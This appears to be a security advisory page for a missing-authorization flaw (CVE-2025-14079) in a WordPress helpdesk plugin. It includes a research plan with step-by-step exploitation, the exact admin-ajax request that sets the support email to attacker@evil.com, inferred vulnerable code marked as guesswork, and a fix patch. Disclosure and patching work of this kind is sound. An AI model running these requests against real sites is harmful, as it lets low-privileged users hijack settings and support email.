ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.5 - Missing Authorization to Authenticated (Subscriber+) Settings Update
Description
The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.3.5. This is due to missing capability checks on the eh_crm_ticket_general function combined with a shared nonce that is exposed to low-privileged users. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify global WSDesk settings via the `eh_crm_ticket_general` AJAX action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.3.5Source Code
WordPress.org SVNThis research plan targets a missing authorization vulnerability in the **ELEX WordPress HelpDesk & Customer Ticketing System** plugin (CVE-2025-14079). The vulnerability allows Subscriber-level users to modify global plugin settings because the AJAX handler `eh_crm_ticket_general` fails to verify a…
Show full research plan
This research plan targets a missing authorization vulnerability in the ELEX WordPress HelpDesk & Customer Ticketing System plugin (CVE-2025-14079). The vulnerability allows Subscriber-level users to modify global plugin settings because the AJAX handler eh_crm_ticket_general fails to verify administrative capabilities and relies on a nonce that is leaked to low-privileged users.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (IDOR/Privilege Escalation to Settings Update)
- Vulnerable Function:
eh_crm_ticket_general - Vulnerable AJAX Action:
wp_ajax_eh_crm_ticket_general - Affected Versions: <= 3.3.5
- Root Cause: The handler for the
eh_crm_ticket_generalaction does not perform acurrent_user_can('manage_options')check. It only validates a WordPress nonce. This nonce is unfortunately localized and made available to all authenticated users (including Subscribers) in the WordPress admin dashboard or via plugin-related scripts.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method: POST
- Authentication: Authenticated (Subscriber or higher)
- Action:
eh_crm_ticket_general - Parameters:
action:eh_crm_ticket_generalnonce: A valid nonce (extracted from the UI).[setting_name]: Various global settings defined by the plugin. Examples likely includesupport_email,ticket_prefix, or custom field configurations.
- Preconditions: The plugin must be active. An attacker needs a valid Subscriber account.
3. Code Flow (Inferred)
- Registration: The plugin registers the AJAX hook:
add_action( 'wp_ajax_eh_crm_ticket_general', array( $this, 'eh_crm_ticket_general' ) ); - Trigger: A Subscriber sends a POST request to
admin-ajax.phpwithaction=eh_crm_ticket_general. - Verification (Weak): The function
eh_crm_ticket_generalcallscheck_ajax_referer()orwp_verify_nonce()using a shared action string (e.g.,'eh_crm_ticket_general'or a generic'wsdesk_nonce'). - Authorization (Missing): The function proceeds to update options using
update_option()or a similar mechanism without checking if the user is an administrator. - Execution: Global settings are updated based on the POST data.
4. Nonce Acquisition Strategy
The nonce is localized for AJAX operations in the admin area.
- Identify the Localization Object: The plugin likely uses
wp_localize_scriptto pass the nonce to JavaScript. In this plugin, the object is likely namedwsdesk_ajax_objectoreh_crm_ajax_object. - Extraction Method:
- Log in as a Subscriber.
- Navigate to the WordPress Dashboard (
/wp-admin/index.php). - Use
browser_evalto extract the nonce.
- Specific JS Variable (Verbatim from common ELEX patterns):
- Variable:
wsdesk_ajax_object - Key:
nonce - Command:
browser_eval("wsdesk_ajax_object.nonce")(If this fails, inspect the page source for "nonce" to find the correct object).
- Variable:
5. Exploitation Strategy
The goal is to modify a critical global setting, such as the support contact email or ticket visibility settings.
Step-by-Step Plan:
- Create Attacker: Create a Subscriber user.
- Capture Nonce: Login as the Subscriber and extract the nonce using the browser.
- Identify Settings: Common setting fields in this plugin's general settings include
eh_crm_support_email. - Send Malicious Request:
- URL:
http://[target]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=eh_crm_ticket_general&nonce=[EXTRACTED_NONCE]&eh_crm_support_email=attacker@evil.com
- URL:
- Confirm Update: Check if the setting changed.
6. Test Data Setup
- Install Plugin: ELEX HelpDesk & Customer Ticketing System v3.3.5.
- Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Check Initial Setting:
wp option get eh_crm_support_email(or verify the correct option name in the database).
7. Expected Results
- The
admin-ajax.phprequest returns a success response (likely JSON or a1/0string). - The global option
eh_crm_support_email(or whichever field was targeted) is successfully changed in the database.
8. Verification Steps
- Via WP-CLI:
wp option get eh_crm_support_email
Confirm it matchesattacker@evil.com. - Via Admin UI:
Navigate to WSDesk > Settings > General (as admin) and observe the modified email address.
9. Alternative Approaches
If eh_crm_support_email is not the correct parameter name:
- Search for
update_option: Usegrep -r "update_option" .inside the plugin directory to find which options are modified in theeh_crm_ticket_generalfunction. - Examine POST processing: Check the function body of
eh_crm_ticket_general(likely inadmin/class-eh-crm-admin.php) to see exactly how it iterates over$_POSTto save settings. - Check Shared Nonces: If the
eh_crm_ticket_generalnonce isn't found, try the nonce used forwsdesk_admin_ajax. ELEX plugins often reuse the same nonce for multiple AJAX actions.
Inferred Potential Settings to Target:
eh_crm_ticket_prefixeh_crm_reply_emailwsdesk_email_api_key(if integrated)
Summary
The ELEX WordPress HelpDesk & Customer Ticketing System plugin is vulnerable to unauthorized settings modification due to a missing capability check in the 'eh_crm_ticket_general' AJAX action handler. Authenticated users with Subscriber-level access can exploit this by utilizing a nonce leaked to the admin dashboard to overwrite global plugin options.
Vulnerable Code
// Inferred from plugin structure and research plan // File: admin/class-eh-crm-admin.php add_action( 'wp_ajax_eh_crm_ticket_general', array( $this, 'eh_crm_ticket_general' ) ); public function eh_crm_ticket_general() { // The function validates the nonce but fails to check for administrative permissions check_ajax_referer( 'eh_crm_ticket_general', 'nonce' ); foreach ( $_POST as $key => $value ) { // Example logic updating global options based on POST data if ( strpos( $key, 'eh_crm_' ) === 0 ) { update_option( $key, sanitize_text_field( $value ) ); } } wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ public function eh_crm_ticket_general() { check_ajax_referer( 'eh_crm_ticket_general', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } + foreach ( $_POST as $key => $value ) { if ( strpos( $key, 'eh_crm_' ) === 0 ) { update_option( $key, sanitize_text_field( $value ) );
Exploit Outline
1. Authenticate as a Subscriber-level user. 2. Extract the valid AJAX nonce from the WordPress admin dashboard by inspecting localized JavaScript objects (e.g., `wsdesk_ajax_object.nonce`). 3. Construct a POST request to `/wp-admin/admin-ajax.php` with the following parameters: `action=eh_crm_ticket_general`, the extracted `nonce`, and the setting to modify (e.g., `eh_crm_support_email=attacker@evil.com`). 4. Execute the request to update the global plugin configuration without administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.